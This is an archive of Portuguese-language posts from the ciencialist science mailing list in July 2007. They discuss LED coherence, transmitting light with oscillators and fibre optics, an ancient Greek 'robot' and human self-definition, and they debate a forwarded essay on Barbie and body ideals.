--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Não Jeff, no LED não temos controle algum de freqüência; esta já
> está fixada pela estrutura do LED. Uma vez excitado pela corrente
> ele emitirá sempre ondas coerentes de mesma freqüência, no caso, uma
> estreita faixa do infra vermelho.

LED produz luz coerente?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Gerando luz através de osciladores.
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 14:42

Acho que não. O LED produz uma faixa estreita de freqüência e eu acho que a
polarização é fixa, mas acho que a fase não é a mesma não...

Shridhar

On 7/30/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Luiz Ferraz Netto"
> > Não Jeff, no LED não temos controle algum de freqüência; esta já
> > está fixada pela estrutura do LED. Uma vez excitado pela corrente
> > ele emitirá sempre ondas coerentes de mesma freqüência, no caso, uma
> > estreita faixa do infra vermelho.
>
> LED produz luz coerente?
>
> []s,
>
> Roberto Takata
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] Robô da Grécia Antiga era movido a trigo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 14:47

http://g1.globo.com/Noticias/Ciencia/0,,MUL78601-5603,00.html
--------------------
Se a FAO reclama das propostas atuais de biocombustível, teria um
ataque cardíaco com esse "robô" grego.

Mas o treco é muito legal.

[]s,

Roberto Takata



SUBJECT: [RN] Laboratório da USP faz 'YouTube científico'
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 14:58

http://g1.globo.com/Noticias/Tecnologia/0,,MUL80069-6174,00.html
-------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: O Balaio de Gatos de Schoroedinger
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 15:02

>
> Olá gatos, gatunos e gatojunos:
>
> De que adianta voces tomarem posição cientifica,
> existencial, e oscambu, diser que são assim, assado ou
> ao ponto, se não conseguem sequer responder esta
> simples pergunta: quem sou eu?
>

Você é um animal, da espécie homo sapiens sapiens, cuja informação do DNA,
molécula que te construiu, sofreu alterações "aleatórias" ao longo de muito
tempo que foram selecionadas pela natureza e teve "sorte" de não ter sido
extinguido e ainda se tornar a espécie dominante do planeta.

Alguém tem alguma definição mais simples e precisa?

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Re: O Balaio de Gatos de Schoroedinger
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 16:48

Quem sou eu? Ora, a resposta está há meses na minha página do Orkut: "Uma
coleção de macromoléculas organizadas de modo a produzir um comportamento
emergente caracterizado por uma peculiar agitação elétrica que tende a
considerar a si mesma como o auge da evolução da vida no universo, opinião
não compartilhada pelas duas espécies mais inteligentes do planeta, que riem
dela pelos cotovelos (ou pelas barbatanas, conforme o caso). "

http://www.orkut.com/Profile.aspx?uid=8705314239561353571

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 30, 2007 1:27 PM
Subject: [ciencialist] Re: O Balaio de Gatos de Schoroedinger


> Olá gatos, gatunos e gatojunos:
>
> De que adianta voces tomarem posição cientifica,
> existencial, e oscambu, diser que são assim, assado ou
> ao ponto, se não conseguem sequer responder esta
> simples pergunta: quem sou eu?
>
>
> sinceramente
> ferrari
>
>
>
>
>
>
> Ferrari
> http://www.orkut.com/Home.aspx?xid=10977235114371420148
> http://budapracristo.blogspot.com
> http://xixicomtinta.blogspot.com
> http://matrix-zero.blogspot.com
>
>
>
>
>



SUBJECT: Re: O Balaio de Gatos de Schoroedinger
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 17:03

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> Você é um animal, da espécie homo sapiens sapiens

Patrulheiros nomenclaturais em ação!

O nome da espécie é /Homo sapiens/. /Homo sapiens sapiens/ é o nome da
subespécie.

[]s,

Roberto Takata



SUBJECT: Re: [RN] Robô da Grécia Antiga era movido a trigo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 17:47

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Mas o treco é muito legal.

Aliás, seria um concurso muito interessante - programação analógica.
Os alunos deveriam estudar o "robô" - todos teriam máquinas mecânicas
idênticas - e um dado percurso traçado pela organização: eles fariam
com q a máquina percorresse a trilha seguindo as marcações em um menor
tempo cronometrado da partida até a chegada.

[]s,

Roberto Takata



SUBJECT: RES: RES: [ciencialist] Gerando luz através de osciladores.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 20:19

>Pra isso existe a fibra óptica.



Fibra ótica não é antena.

Referí-me a antenas de transmissão recepção de sinais de rádio, TV, nas
faixas de baixas e ultra altas freqüências.

Para transmissão de dados, contudo, usa-se um meio guiado, extremamente mais
eficiente; é o caso da fibra ótica.

Usa-se nessa tecnologia um processo de conversão de sinais eletrônicos para
luz, que é enfiada numa fibra ótica, e, do outro lado, essa luz é
novamente convertida em sinais elétricos, de onde são extraídas as
informações dos dados, o próprios dados.



Sds,

Victor





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: domingo, 29 de julho de 2007 22:28
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: RES: [ciencialist] Gerando luz através de osciladores.



--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , "J.Victor" <j.victor.neto@...>
> Ou seja, teoricamente é possível, pois a luz é uma OEM como outra
> qualquer. Mas não existe tecnologia para implementar uma antena nas
> dimensões requeridas.

Pra isso existe a fibra óptica.

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: Gerando luz através de osciladores.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 20:39

> LED produz luz coerente?



Coerente no sentido de laser? Não. É só um diodo emissor de luz comum, da
peba mesmo!



Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Shridhar Jayanthi
Enviada em: segunda-feira, 30 de julho de 2007 14:43
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Gerando luz através de osciladores.



Acho que não. O LED produz uma faixa estreita de freqüência e eu acho que a
polarização é fixa, mas acho que a fase não é a mesma não...

Shridhar

On 7/30/07, rmtakata <roberto.takata@bol.com.br
<mailto:roberto.takata%40bol.com.br> > wrote:
>
> --- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
<ciencialist%40yahoogrupos.com.br>,
> "Luiz Ferraz Netto"
> > Não Jeff, no LED não temos controle algum de freqüência; esta já
> > está fixada pela estrutura do LED. Uma vez excitado pela corrente
> > ele emitirá sempre ondas coerentes de mesma freqüência, no caso, uma
> > estreita faixa do infra vermelho.
>
> LED produz luz coerente?
>
> []s,
>
> Roberto Takata
>
>
>

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: motor magnético
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 20:53

Léo,



Feito.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: segunda-feira, 30 de julho de 2007 11:39
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: motor magnético



J.Victor diz:
>Agora, o pensamento abaixo irá para o meu arquivo de referências
importantes. Bela e correta afirmação.

"A Ciência mostra o conceito do fenômeno enquadrando-o em uma teoria
vigente; o bom engenheiro gera uma praticidade para o fenômeno. Toda a
tecnologia parte disso!"

À afirmação, acrescente isso:

"A teoria ensina, porém, só a prática afere-lhe o valor. Não basta saber; é
imprescindível utilizar o que se conhece."

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: RES: RES: [ciencialist] Gerando luz através de osciladores.
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 21:08

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> Fibra ótica não é antena.

Certamente não é. O q eu tentei dizer é q, como a tecnologia de
radiodifusão luminosa não é viável, usam-se as fibras ópticas.

Mas o principal empecilho para a tecnologia de radiodifusão na faixa
do visível não é tto o tamanho dos receptores (vc tem ótimos
receptores em uma câmara digital, por exemplo), mas sim o simples fato
de q a maioria dos objetos ser opaca às ondas eletromagnéticas na
faixa do visível.

Vc pode atravessar uma parede com transmissão de rádio FM (vc pode
sintonizar uma estação com a casa totalmente fechada - a menos q ela
seja uma gaiola de Faraday com orifícios na casa dos nanômetros), mas
não com luz visível (do contrário sua intimidade seria bastante exposta).

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] Re: Gerando luz através de osciladores.
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 21:12

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> > LED produz luz coerente?
>
> Coerente no sentido de laser? Não. É só um diodo emissor de luz
> comum, da peba mesmo!

Embora tenham desenvolvido um diodo emissor de laser já há algumas
décadas.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 21:25

Os bonecos não o fariam querer ser um G.I. Joe, Shridhar, assim como a
Barbie , por si só, não faz com que ninguém deseje parecer aquilo. O que a
autora ressalta está enquadrado num fundo de relações sociais/culturais, em
que a também a barbie está inserida. As expectativas quanto a um gênero e
outro são diferentes (assim como entre uma raça e outra, uma idade e outra,
uma crença e outra, uma ideologia e outra... hierarquias ocultas, que estão
em toda nossa cultura), e é esta situação que ela não tem como explicar em
um texto relativamente curto.

Existem muitos outros mais aprofundados:
http://www.ferris.edu/jimcrow/jezebel/

Gil

Em 30/07/07, Shridhar Jayanthi <jshridhar@gmail.com> escreveu:
>
> Me parece incrível que a professora não tenha considerado a possibilidade
> de
> que a Barbie não seja causa de uma sociedade amante do intangível, mas uma
> mostra deste fato. Bonecos são desproporcionais desde o início dos tempos,
> quando eles ainda eram imagens de deuses. Estatuetazinhas de deusas-mãe
> por
> todo o mundo sempre apresentaram mulheres com bunda e peito exagerados há
> mais de 2 mil anos! Espartilho existe na Europa desde muito antes da
> criação
> da Barbie. Os bonecos do comandos em ação musculosos nunca me fizeram
> querer
> ser parecido com aquilo lá. E eu não vou nem falar do Lego, meu brinquedo
> favorito... Em outras palavras, a professora acredita que se a Barbie
> fosse
> mais gordinha, o número de casos de anorexia seria menor?
>
> Shridhar
> http://entropicando.blogspot.com
>
> On 7/30/07, Esteban Moreno <estebanlmoreno@gmail.com> wrote:
> >
> > política
> >
> > PERFEIÇÃO
> >
> > A arma de guerra chamada Barbie
> > Por Paula Sibila
> >
> > A boneca criada em 1958 é pioneira na configuração de um modelo corporal
> > que
> > talvez seja o mais tirânico da história ocidental
> >
> > Uma temporada após a outra, desfiles de moda acendem seus holofotes nas
> > mais
> > diversas cidades do mundo. Olhos fascinados (ou entediados) assistem aos
> > vaivéns das passarelas, onde as modelos que servem de "cabide para as
> > roupas" costumam despertar mais curiosidade que as extravagantes vestes
> em
> > exibição.
> >
> > O corpo das modelos exerce um magnetismo não isento de polêmicas, tais
> > como
> > os escândalos e burburinhos ligados à anorexia, mas seu brilho nunca
> > diminui. Elas continuam atraindo os olhares, surpreendentemente
> idênticas
> > umas às outras, e todas muito diferentes das comuns mortais que as
> admiram
> > em silêncio -e que gostariam de se parecer com elas. Exércitos de
> mulheres
> > de todas as procedências querem copiar esses corpos-modelos que tanto se
> > assemelham entre si, como numa clonagem universal de um protótipo que há
> > décadas permanece incólume: a Barbie.
> >
> > Embora já esteja ficando quase velha, essa boneca esguia e eternamente
> > jovem
> > continua sendo o ícone de um padrão de beleza dos mais insistentes.
> Tendo
> > habitado a infância das meninas do mundo inteiro há quase meio século, a
> > Barbie tornou-se um verdadeiro clássico na imposição das leis do "corpo
> > bom"
> > em nossa sociedade. Todo um baluarte pedagógico, a famosa boneca é uma
> > pioneira na configuração de um modelo corporal que provavelmente seja o
> > mais
> > tirânico da história ocidental.
> >
> > Pois as medidas da Barbie são humanamente impossíveis: se os 29 cm de
> > plástico oco que a conformam fossem transformados em carne feminina,
> para
> > conservar as proporções de sua silhueta curvilínea demandariam uma
> altura
> > de
> > 2m13 e as seguintes medidas de busto, cintura e quadris: 96-45-83 cm.
> >
> > Os cálculos indicam que uma mulher com essa contextura pesaria menos de
> 50
> > kg, portanto não possuiria a quantidade de gordura corporal suficiente
> > para
> > ter ciclos menstruais regulares e não conseguiria nem sequer andar. Isto
> > significa que até mesmo as modelos que mais aproximam seus corpos dessa
> > imagem ideal ainda permanecem longe da "boneca perfeita". As medidas
> > habituais das profissionais da passarela são 1m75 de altura e os
> clássicos
> > 90-60-90.
> >
> > Quanto às mulheres "reais", a meta está bem mais longe dessa harmonia
> > numérica: para ter as formas da Barbie, uma mulher ocidental de porte
> > médio
> > deveria esticar sua altura corporal em 40 cm, extrair uns 25 cm da sua
> > cintura e uns 20 cm dos quadris e, além disso, acrescentar mais alguns
> > centímetros nos seios.
> >
> > Há, ainda, um dado bombástico: em 1958, quando a esposa do dono da
> empresa
> > Mattel teve a idéia genial de fabricar esse novo brinquedo, o design da
> > Barbie foi encomendado a um especialista com um currículo expressivo.
> > Trata-se de Jack Ryan, um engenheiro, que antes de chefiar o
> departamento
> > de
> > pesquisa e desenvolvimento da Mattel, também trabalhou para o Pentágono
> e
> > para a empresa Raytheon, fabricante de equipamento bélico.
> >
> > Nesse emprego anterior, o engenheiro foi responsável pelo design dos
> > mísseis
> > Sparrow e Hawk. Sabe-se que os brinquedos nunca são artefatos neutros ou
> > "inocentes"; ao contrário, eles propõem "estilos de vida" capazes de
> > influenciar uma geração inteira -ou várias, como é o caso da
> bem-sucedida
> > boneca norte-americana. Nesse sentido, a Barbie não é uma trivial
> > mercadoria, e tampouco é apenas uma boneca. Ela é, sobretudo, um tipo de
> > corpo: um poderoso modelo corporal que com ela nasceu e com ela ainda se
> > desenvolve. Ela é, aliás, uma verdadeira arma de guerra, cujo efeito
> > consiste na radiação do "corpo perfeito" por todos os cantos do planeta.
> >
> > A história da Barbie é muito eloqüente. Ela foi a primeira boneca cujo
> > corpo
> > ousou imitar as formas de uma mulher adulta, enquanto os brinquedos mais
> > tradicionais destinados às meninas sempre reproduziram a figura do bebê
> ou
> > de uma criança. "Be anything", promete o slogan da Barbie: seja o que
> > desejar, você é livre para inventar seu próprio destino, pode escolher o
> > tipo de trabalho que irá desempenhar quando for adulta. Faça o que você
> > quiser, desde que a sua aparência seja como deve ser; isto é, o mais
> > parecida possível com a boneca impossível.
> >
> > Pois a Barbie encarna duas tendências aparentemente contraditórias: por
> um
> > lado, ilustra a ampliação da autonomia e das liberdades de escolha para
> as
> > mulheres; por outro lado, também representa a ardilosa transformação do
> > corpo em uma mercadoria que deve ser constantemente aperfeiçoada. Duas
> > tendências que se aprofundaram nas últimas décadas, e não há dúvidas que
> a
> > própria Barbie contribuiu para sua expansão. Por isso, quando as meninas
> > crescem e não conseguem atingir nem o sucesso e nem o talhe prometidos
> na
> > infância, costumam recorrer a consolos mais acessíveis para aliviar suas
> > frustrações: as modelagens do bisturi, por exemplo, ou então os
> > antidepressivos -que um jargão mais antiquado chamaria de barbitúricos.
> >
> > Não deixa de ser significativo, portanto, que esta altíssima loira de
> > silicone tenha sido lançada em 1959, prenunciando não apenas a
> "liberação
> > feminina" que logo viria, mas também a popularização das modelos
> > hipermagras
> > que seguiram o exemplo da manequin Twiggy. Com suas inéditas medidas
> > enxutas
> > e sua aparência "desnutrida", essa modelo britânica escandalizou o mundo
> > quando apareceu pela primeira vez nas páginas da revista "Vogue", em
> 1965.
> >
> > No entanto, apesar das convulsões iniciais, suas formas descarnadas logo
> > conquistaram tanto o público como os mercados, e hoje nem suas medidas
> nem
> > seu aspecto causam espanto algum. Ao contrário, parecem perfeitamente
> > "normais". Tanto, que seria difícil identificar a magricela Twiggy se
> ela
> > desfilasse em qualquer "fashion week" do planeta.
> >
> > Na época do seu lançamento, porém, há mais de quatro décadas, até a
> > revista
> > que a descobrira admitiu o choque da novidade que tais formas corporais
> > apresentavam. A "Vogue" viu-se obrigada a publicar a seguinte
> advertência
> > junto às fotografias: "Suas pernas fazem pensar que ela não tomou
> > suficiente
> > leite quando era bebê, e seu rosto mostra a expressão que deviam ter os
> > habitantes de Londres durante a guerra".
> >
> > Paralelamente a estes dois fenômenos emblemáticos -a aparição da Barbie
> em
> > 1959 e de Twiggy em 1965-, que marcaram os primeiros passos no advento
> > deste
> > novo ideal do corpo feminino, o mundo ingressava em uma nova era. Nesse
> > ambiente transtornado pelas revoltas da juventude e pelas reivindicações
> > feministas, vivenciava-se uma flexibilização da rigidez moral que até
> > então
> > tinha constrangido os relacionamentos e costumes.
> >
> > Nesse quadro, começava a agonizar a velha "cultura da intimidade", que
> > teve
> > seu auge no século 19 e na primeira metade do 20, e deu à luz às
> > subjetividades interiorizadas da modernidade. Um mundo, enfim, no qual
> os
> > sofrimentos eram vivenciados como conflitos interiores (pessoais e
> > privados), muitas vezes provocados pela necessidade de "reprimir" os
> > desejos
> > individuais em face à severa moral vigente.
> >
> > Diante da agonia desse universo, na segunda metade do século passado,
> > começou a despontar um novo regime de constituição das imagens corporais
> e
> > dos "modos de ser", um movimento histórico extremamente complexo que
> ainda
> > está em andamento, e que deslancharia uma crescente exteriorização do
> eu.
> > Desse processo participaram ativamente aquelas duas personagens
> femininas:
> > tanto a boneca Barbie como o corpo-modelo cuja linhagem Twiggy
> inaugurara.
> >
> > Constantemente se renovam as roupas, os estilos e os incontáveis
> > acessórios
> > que a empresa Mattel comercializa há 48 anos sob a lucrativa marca
> Barbie,
> > mas a silhueta da boneca permaneceu praticamente idêntica ao longo de
> todo
> > esse tempo. Em 1965, suas pernas se tornaram flexíveis; em 1968, o rosto
> > ganhou um aspecto ainda mais jovem, com longos cílios contornando seus
> > enormes olhos azuis. Depois, os cabelos lisos cresceram ainda mais e o
> > corpo
> > ganhou maior mobilidade.
> >
> > Em 1997, quando a moça já era bem mais que uma balzaquiana, os
> fabricantes
> > resolveram responder às crescentes críticas acerca da influência
> negativa
> > que estaria exercendo sobre as meninas do mundo inteiro, alastrando um
> > padrão corporal inatingível e contribuindo, dessa maneira, para a
> > "epidemia"
> > de distúrbios alimentares e transtornos da imagem corporal. Assim, nos
> > exemplares mais recentes, tanto a cintura como os quadris da boneca
> > engrossaram levemente, na tentativa de tornar seu corpo um pouco mais
> > "realista", enquanto os seios foram diminuídos. De todo modo, as
> mudanças
> > são bastante sutis, e a Barbie continua sendo a Barbie.
> >
> > A verdade é que o mercado desaconselha alterações mais profundas nessa
> > esbelta figura, que é líder de vendas entre todas as bonecas jamais
> > criadas:
> > somente no ano em que virou quarentona, faturou US$ 2 bilhões. Vendem-se
> > anualmente mais de 100 milhões de exemplares em 140 países: a cada
> > segundo,
> > três meninas deste planeta ganham um novo clone. Mas tais números se
> > referem
> > apenas à marca oficial; esquecendo as incontáveis imitações que, a
> rigor,
> > cumprem idêntica função. Existe até um dado tão inútil como ilustrativo:
> > se
> > colocássemos todas as Barbies vendidas nos primeiros 30 anos -isto é,
> > apenas
> > até 1989- enfileiradas da ponta das madeixas aos curvos pés, seria
> > possível
> > dar quatro vezes a volta ao mundo. Ninguém pode dizer que seja pouca
> > coisa.
> >
> > É claro que não se trata apenas de uma mercadoria a mais, porém de um
> > produto intensamente fetichizado. Não por acaso, esta boneca já foi tema
> > de
> > sérios estudos acadêmicos e protagonizou exposições em museus e centros
> > culturais. Sob o nome de "complexo de Barbie", ainda, conhece-se a
> > síndrome
> > que leva algumas mulheres a recorrer à cirurgia plástica e outras
> técnicas
> > afins para provocar drásticas mudanças em seus corpos, tendentes a se
> > parecerem com a loiríssima boneca.
> >
> > Algumas o fazem explicitamente, e chegam a ficar famosas por causa
> disso:
> > escrevem livros sobre sua cruzada, contam suas experiências na televisão
> e
> > mostram orgulhosas os resultados. Um exemplo é Cindy Jackson, cujo site
> na
> > internet dispensa comentários: http://www.cindyjackson.com. Mas não é
> > preciso evocar esses extremos: são inúmeras as mulheres que perseguem
> essa
> > meta sem explicitá-lo, por isso é tão comum encontrar êmulas anônimas da
> > Barbie andando pelas ruas de qualquer cidade.
> >
> > Como uma prova da vigorosa influência cultural desse modelo, não
> > surpreende
> > que os padrões de beleza vigentes em nossa sociedade tenham mudado
> > radicalmente nos últimos 50a anos. Junto com esses protótipos ideais,
> > também
> > foi se metamorfoseando a silhueta das mulheres reais de todo o planeta.
> > Basta citar apenas um exemplo bastante elucidativo: em 1951, a moça que
> > ganhou o concurso de Miss Suécia media 1m71 de altura e pesava 68,5 kg;
> > pouco mais de três décadas depois, sua colega de 1983 media 1m75 e
> pesava
> > 49
> > kg.
> >
> > Entre uma e outra rainha de beleza escandinava, houve uma verdadeira
> > barbierização dos padrões. Em termos médicos, o índice de massa corporal
> > (IMC) da primeira era de 23,4, um valor que ainda é tido como normal,
> > enquanto o da segunda é de 16, e já está bem aquém do mínimo considerado
> > saudável.
> >
> > As manequins sempre foram magras: algumas décadas atrás, quando ainda
> não
> > eram celebridades e nem constituíam o sonho que toda menina quer
> encarnar
> > quando crescer, pesavam 8% menos que a média da população, mas
> atualmente
> > essa diferença é de 23%. No ano passado, ecoando uma série de notícias
> > trágicas sobre mortes de modelos que sofriam de anorexia (entre elas, a
> > brasileira Ana Carolina Reston), os organizadores da "fashion week" de
> > Madri
> > impediram a participação de todas aquelas profissionais cujo índice de
> > massa
> > corporal fosse inferior a 18. Para uma jovem de 1m75 de altura, esse
> valor
> > implica um peso de 56 kg.
> >
> > Proibições semelhantes foram adotadas em desfiles realizados em outros
> > países, mas a decisão foi polêmica e muito criticada, inclusive por
> alguns
> > médicos, que sublinharam a ineficácia de utilizar apenas um indicador
> > isolado e arbitrário. De todo modo, sabe-se que a grande maioria das
> > modelos
> > atuais ficaria desempregada se a nova regra se generalizasse, pois
> > estima-se
> > que seu IMC oscile entre 17 e 17,5, podendo chegar até 15,6 -quando os
> > parâmetros médicos continuam a indicar que o valor "normal" repousa
> entre
> > 18,5 e 25.
> >
> > Confirmando esse brusco emagrecimento e alongamento ocorrido nas últimas
> > décadas, tanto dos padrões corporais considerados ideais como das
> medidas
> > reais dos corpos-modelo, uma revista afirmou que as medidas de Gisele
> > Bündchen "são perfeitas: 1m79 metro de altura e 54 kg". Isso implica um
> > índice de massa corporal de 16,85 -portanto, ela também seria banida dos
> > desfiles, caso a nova regra vingasse. Cabe frisar, porém, que o perfil
> > dessa
> > modelo gaúcha se aproxima, bem mais que a maioria de nós, dos padrões
> > propostos pela Barbie; contudo, ela tampouco chega a atingi-los.
> >
> > Por isso, aquele engenheiro Jack Ryan -criador de mísseis para o
> Pentágono
> > e
> > da boneca Barbie para e empresa Mattel- ergue-se como uma encarnação
> > moderna
> > do mítico escultor grego Pigmalião, aquele que esculpira uma estátua
> > perfeita da qual acabou se apaixonando. Afinal, o designer de
> equipamento
> > bélico que forjou a boneca mais famosa do mundo foi o sexto marido da
> bela
> > atriz Zsa Zsa Gabor, loira e esguia estrela de Hollywood dos anos 50
> > -considerada a primeira celebridade que ficou famosa apenas por causa da
> > sua
> > celebridade; não por acaso, foi tia-avó de outra loira hoje célebre:
> Paris
> > Hilton.
> >
> > O casamento do inventor e sua musa, porém, foi tão "imperfeito" que
> sequer
> > durou um ano. Contudo, assim como Pigmalião, o engenheiro
> norte-americano
> > acabou criando, artificialmente, uma mulher mais "perfeita" que qualquer
> > exemplar real e carnal do gênero feminino. Seguindo os passos da sua
> > ancestral mitológica -aquela escultura construída em marfim na Grécia
> > Antiga-, a boneca de plástico nascida em um laboratório do século 20
> logo
> > se
> > converteria no ícone do "corpo perfeito", um modelo a ser desejado e
> > imitado
> > fervorosamente.
> >
> > E uma verdadeira arma de guerra, pois tal desejo é tão ardente quanto
> > universal, capaz de converter todas as diferenças em meros desvios com
> > relação a essa poderosa norma. Nos últimos anos, os avanços do padrão
> > corporal magro, esbelto e "sarado" têm enxugado, gradativamente, todas
> as
> > alternativas que a diversidade étnica e cultural do mundo
> pré-globalizado
> > tinha a oferecer.
> >
> > Um exemplo é bem local: as famosas mulatas do carnaval carioca recorrem,
> > cada vez mais, à lipoaspiração e ao silicone para tornear seus corpos de
> > acordo com os moldes globais. Outro exemplo é bastante longínquo, remete
> > àquelas silhuetas exóticas que alguma vez encantaram o pintor Paul
> Gauguin
> > e
> > foram imortalizadas em todas as cores de sua obra.
> >
> > Trata-se de um arquipélago da Micronésia rodeado pelo Oceano Pacífico,
> > onde
> > os corpos e certos hábitos das nativas estão mudando de um modo
> peculiar:
> > poucos anos depois da televisão dos Estados Unidos ter irrompido no
> > cotidiano desse grupo de ilhas outrora isoladas, as mulheres começaram a
> > se
> > preocupar intensamente com o próprio peso e com o aspecto corporal,
> > recorrendo a severas dietas e exercícios físicos. Além de mudarem os
> > padrões
> > de beleza ancestrais, multiplicaram-se os casos de anorexia e bulimia na
> > região. Tudo para se parecer com ela: a Barbie.
> >
> > Pois mesmo constituindo um ideal inatingível, sempre existe a
> > possibilidade
> > de comprar o rosto e o corpo das modelos, uma promessa que é vendida nas
> > mais diversas embalagens: nas prateleiras de supermercados e farmácias,
> > nas
> > academias de ginástica e nas clínicas de tratamentos estéticos, e agora
> > também nos "reality-shows de transformação".
> >
> > Paula Sibila
> > É professora do Departamento de Estudos Culturais e Mídia, do Instituto
> de
> > Artes e Comunicação Social da Universidade Federal Fluminense
> (IACS-UFF).
> > Doutora em Comunicação e Cultura pela ECO-UFRJ e em Saúde Coletiva pelo
> > IMS-UERJ, é autora do livro "O Homem Pós-Orgânico: Corpo, Subjetividade
> e
> > Tecnologias Digitais".
> >
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> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>


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SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Luiz Antonio Picanço" <lpicanco@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 21:53

Interessante.

Sempre tive essa dúvida durante meus tempos de eletrônica. Só não tinha
levado em consideração o tamanho da antena necessária.

On 7/29/07, J.Victor <j.victor.neto@uol.com.br> wrote:
>
> Olá, Antonio,
>
> Esse assunto já foi discutido há muito tempo por aqui.
>
> Um dos principais problemas da transmissão de sinais por ondas
> eletromagnética está na antena, cujo "tamanho" é da ordem do comprimento
> de
> onda.
>
> Para a faixa luminosa, uma antena para transmiti-la seria da ordem de
> nanômetros.
>
> Ou seja, teoricamente é possível, pois a luz é uma OEM como outra
> qualquer. Mas não existe tecnologia para implementar uma antena nas
> dimensões requeridas. Quanto à radiações de comprimentos de onda
> menores(ou
> freqüências maiores), nem pensar.
>
> Sds,
>
> Victor.
>
> De: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>[mailto:
> ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>]
> Em nome de Luiz Antonio Picanço
> Enviada em: domingo, 29 de julho de 2007 19:36
> Para: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Assunto: [ciencialist] Gerando luz através de osciladores.
>
>
> Salve pessoal,
>
> estive aqui pensando:
>
> A luz é uma onda eletromagnética.
> Se criarmos um transmissor de ondas eletromagnéticas que alcancem a
> frequência relativa ao espectro visível da luz, conseguiríamos "ver" tal
> emissão de ondas ?
>
> --
> Luiz Antonio Picanço
> -----------
> Programando na madrugada:
> http://www.luizantonio.com
> NeutrineGTD:
> http://neutrinegtd.neutrine.com
> Não Enche:
> http://www.naoenche.com
>
> [As partes desta mensagem que não continham texto foram removidas]
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>
>
>



--
Luiz Antonio Picanço
-----------
Programando na madrugada:
http://www.luizantonio.com
NeutrineGTD:
http://neutrinegtd.neutrine.com
Não Enche:
http://www.naoenche.com


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SUBJECT: Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 22:15

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Os bonecos não o fariam querer ser um G.I. Joe

Fale por vc. Yo, Joe!

http://comandosemacao.zip.net/

[]s,

Roberto Takata




SUBJECT: As raízes da punição
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
